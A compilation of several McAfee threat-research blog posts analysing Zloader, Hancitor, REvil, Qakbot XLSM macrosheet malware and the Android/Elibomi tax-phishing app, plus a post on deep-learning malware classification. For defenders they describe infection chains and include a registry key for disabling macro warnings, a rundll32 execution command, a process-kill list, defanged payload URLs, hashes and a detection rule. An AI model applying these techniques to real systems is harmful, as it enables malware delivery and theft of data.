This blog was written by Kiran Raj & Kishan N.

Introduction

In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.

McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.

Infection map

Threat Summary

• The initial attack vector is a phishing email with a Microsoft Word document attachment.
• Upon opening the document, a password-protected Microsoft Excel file is downloaded from a remote server.
• The Word document Visual Basic for Applications (VBA) reads the cell contents of the downloaded XLS file and writes into the XLS VBA as macros.
• Once the macros are written to the downloaded XLS file, the Word document sets the policy in the registry to Disable Excel Macro Warning and calls the malicious macro function dynamically from the Excel file,
• This results in the downloading of the Zloader payload. The Zloader payload is then executed by rundll32.exe.

The section below contains the detailed technical analysis of this technique.

Detailed Technical Analysis

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.

After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.

Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.

Figure-1: flowchart of the Infection chain

Word Analysis

Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

Figure-2: Image of Word Document Face

The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.

Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.

VBA Macro Analysis of Word Document

Figure-4: Image of the VBA editor

In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.

Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.

 

The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.

For Example:

Ixbq = ifk.sheets(3).Cells(44,42).Value

The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.

In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.

We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.

Figure-6: Value of variables after reading Excel cells.

After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.

Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.

HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM

After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl

Figure-7: Image of ’Auto_Open3()’ function

The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.

Figure-8: Image of zloader dll invoked by rundll32.exe

Command-line parameter:

Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”

Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.

Excel Document Analysis:

The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.

These strings present in worksheet cells are formed as VBA macro in the later stage.

Figure-9: Image of Remote Excel file.

Coverage and prevention guidance:

McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.

The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”.  The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature “Zloader-FCVP” with V3 package version – 4327.0

Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.

Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.

• E-mail Spear Phishing (T1566.001): Phishing acts as the main entry point into the victim’s system where the document comes as an attachment and the user enables the document to execute the malicious macro and cause infection. This mechanism is seen in most of the malware like Emotet, Drixed, Trickbot, Agenttesla, etc.
• Execution (T1059.005): This is a very common behavior observed when a malicious document is opened. The document contains embedded malicious VBA macros which execute code when the document is opened/closed.
• Defense Evasion (T1218.011): Execution of signed binary to abuse Rundll32.exe and to proxy execute the malicious code is observed in this Zloader variant. This tactic is now also part of many others like Emotet, Hancitor, Icedid, etc.
• Defense Evasion (T1562.001): In this tactic, it Disables or Modifies security features in Microsoft Office document by changing the registry keys.

IOC

Type	Value	Scanner	Detection Name	Detection Package Version (V3)
Main Word Document	210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf	ENS	W97M/Downloader.djx	4328
Downloaded dll	c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2	ENS	Zloader-FCVP	4327
URL to download XLS	hxxp://heavenlygem.com/11.php	WebAdvisor	Blocked	N/A
URL to download dll	hxxp://heavenlygem.com/22.php?5PH8Z	WebAdvisor	Blocked	N/A

Conclusion

Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.

The post Zloader With a New Infection Technique appeared first on McAfee Blog.

This blog was written by Vallabh Chole & Oliver Devane

Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.

Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.

This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.

The infection flow of Hancitor is shown below:

A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.

When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.

If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.

The code to create the cookie is shown below:

The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.

For example, if this code is executed on a machine with timezone set as BST the values would be:

d = 60

n = “Europe/London”

These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.

Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.

A WireShark capture of the malicious document which includes the cookie values is shown below:

The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.

Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.

Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.

Conclusion

With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.

IOCs, Coverage, and MITRE

IOCs

IOC	Type	IOC	Coverage	Content Version
Malicious Document	SHA256	e389a71dc450ab4077f5a23a8f798b89e4be65373d2958b0b0b517de43d06e3b	W97M/Dropper.hx	4641
Hancitor DLL	SHA256	c703924acdb199914cb585f5ecc6b18426b1a730f67d0f2606afbd38f8132ad6	Trojan-Hancitor.a	4644
Domain hosting Malicious Document	URL	http[:]//onyx-food[.]com/coccus.php	RED	N/A
Domain hosting Malicious Document	URL	http[:]//feedproxy[.]google[.]com/~r/ugyxcjt/~3/4gu1Lcmj09U/coccus.php	RED	N/A

Mitre

Technique ID	Tactic	Technique details
T1566.002	Initial Access	Spam mail with links
T1204.001	Execution	User Execution by opening link.
T1204.002	Execution	Executing downloaded doc
T1218	Defence Evasion	Signed Binary Execution Rundll32
T1055	Defence Evasion	Downloaded binaries are injected into svchost for execution
T1482	Discovery	Domain Trust Discovery
T1071	C&C	HTTP protocol for communication
T1132	C&C	Data is base64 encoded and xored

 

 

The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blog.

This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal

Introduction

Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.

Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin.  Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.

REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section.  After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).

Figure-1: Image of Microsoft Digitally signed File

DLL SIDE LOADING

The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.

Figure-2: Calling Export function

PAYLOAD ANALYSIS

The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.

Figure-3: REvil Config File

Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.

Figure-4: Language Check

Countries excluded from this ransomware attack are mentioned below:

GetUserDefaultUILanguage	Country name
0x419	Russian
0x422	Ukranian
0x423	Belarusian
0x428	Tajik (Cyrilic from Tajikistan)
0x42B	Armenian
0x42C	Azerbaijani (Latin from Azerbaijan)
0x437	Georgian
0x43F	Kazakh from Kazakhastan
0x440	Kyrgyzstan
0x442	Turkmenistan
0x443	Latin from Uzbekistan
0x444	Tatar from Russia Federation
0x818	Romanian from Moldova
0x819	Russian from Moldova
0x82C	Cyrilic from Azerbaijan
0x843	Cyrilic from Uzbekistan
0x45A	Syriac
0x281A	Cyrilic from Serbia

 

Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.

Figure-5: Keyboardlayout check

Ransomware creates a Global mutex in the infected machine to mark its presence.

Figure-6: Global Mutex

After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.

Figure-7: Empty Recycle Bin

Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.

Figure-8: Service List check

It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file.  The following processes will be terminated.

• allegro
• steam
• xtop
• ocssd
• xfssvccon
• onenote
• isqlplussvc
• msaccess
• powerpnt
• cad
• sqbcoreservic
• thunderbird
• oracle
• infopath
• dbeng50
• pro_comm_msg
• agntsvc
• thebat
• firefox
• ocautoupds
• winword
• synctime
• tbirdconfig
• mspub
• visio
• sql
• ocomm
• orcad
• mydesktopserv
• dbsnmp
• outlook
• cadence
• excel
• wordpad
• creoagent
• encsvc
• mydesktopqos

 

Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.

Figure-9: Desktop Wallpaper

Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.

Figure-10: Ransom Note

IOCs and Coverage

Type	Value	Detection Name	Detection Package Version (V3)
Loader	5a97a50e45e64db41049fd88a75f2dd2	REvil.f	4493
Dropped DLL	78066a1c4e075941272a86d4a8e49471	REvil.e	4493

 

Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.

MITRE

Technique ID	Tactic	Technique Details
T1059.003	Execution	Command and Scripting Interpreter
T1574.002	DLL Side-Loading	Hijack Execution Flow
T1486	Impact	Data Encrypted for Impact
T1036.005	Defense Evasion	Masquerading
T1057	Discovery	Process Discovery
T1082	Discovery	System Information Discovery

Conclusion

McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.

The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blog.

Written by: Lakshya Mathur

Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.  

With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections. 

Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc. 

The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware. 

Detailed Technical Analysis 

XLSM Structure 

XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros. 

Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below. 

• _rels contains the starting package-level relationship. 
• docProps contains the metadata of the excel file. 
• xl folder contains the actual contents of the file. 
• [Content_Types].xml has references to the XML files present within the above folders. 

We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets. 

These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog. 

To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e. 

Infection Chain

The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function. 

XLSM Threat Analysis 

On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.

On digging deeper, we see its internal workbook.xml file. 

Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.  

As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6. 

These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings. 

Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags. 

<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures. 

When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below. 

Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc. 

Coverage and prevention guidance: 

McAfee’s Endpoint products detect this variant of malware as below: 

The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files. 

Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern. 

Rule { 

    Process { 

        Include OBJECT_NAME { -v “EXCEL.exe” } 

    } 

Target { 

        Match PROCESS { 

            Include OBJECT_NAME { -v “rundll32.exe” } 

                      Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }  

                            Include -access “CREATE” 

         } 

  } 

} 

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat. 

Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform. 

• T1064(Scripting): Use of Excel 4.0 macros and different excel formulas to download the malicious payload. 
• Defense Evasion (T1218.011): Execution of Signed binary to abuse Rundll32.exe and proxy executes the malicious code is observed in this Qakbot variant.  
• Defense Evasion (T1562.001): Office file tries to convince a victim to disable security features by using a clean-looking image. 
• Command and Control(T1071): Use of Application Layer Protocol HTTP to connect to the web and then downloads the malicious payload. 

Conclusion 

XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc. 

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose. 

The post XLSM Malware with MacroSheets appeared first on McAfee Blog.

Co-written by Catherine Huang, Ph.D. and Abhishek Karnik 

Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.  

Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data. 

1. CNN on Raw Bytes 

The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.  

2. Experimental Results 

For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.  

In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.  

One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920. 

In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.  

3. Visual Explanation 

To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier. 

We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually. 

4. Human analysis to understand the ML decision and XAI  

To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket. 

We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.  

We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.  

In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.  

We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community. 

The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.

Authored by ChanUng Pak  

McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices. 

During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app. 

We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available. 

Pretending to be an app from the Income Tax Department in India 

The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021. 

Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions 

After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device: 

Figure 2. Elibomi stealing SMS messages 

Prevention and defense 

Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps: 

• Have a reliable and updated security application like McAfee Mobile Security installed in your mobile devices to protect you against this and other malicious applications. 
• Do not click on suspicious links received from text messages or social media, particularly from unknown sources. Always double check by other means if a contact that sends a link without context was really sent by that person because it could lead to the download of a malicious application. 

Conclusion 

Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services. 

McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com 

For those interested in a deeper dive into our research… 

Distribution method and stolen data exposed on the Internet 

During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return: 

Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware 

Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices: 

Figure 4. Example of account information exposed in one of the C2 servers

If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible: 

Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India 

Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right: 

Figure 6. Different malicious applications for different users

During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund: 

Figure 7. Fake iMobile screens designed to capture personal and financial information 

The sensitive financial information provided by the tricked user is also exposed on the Internet: 

Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app 

Related Fake IT Certificate applications 

The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020.  In the following figure we can see the similarities in the code between the two malware campaigns: 

Figure 9. Code similarity between Elibomi campaigns 

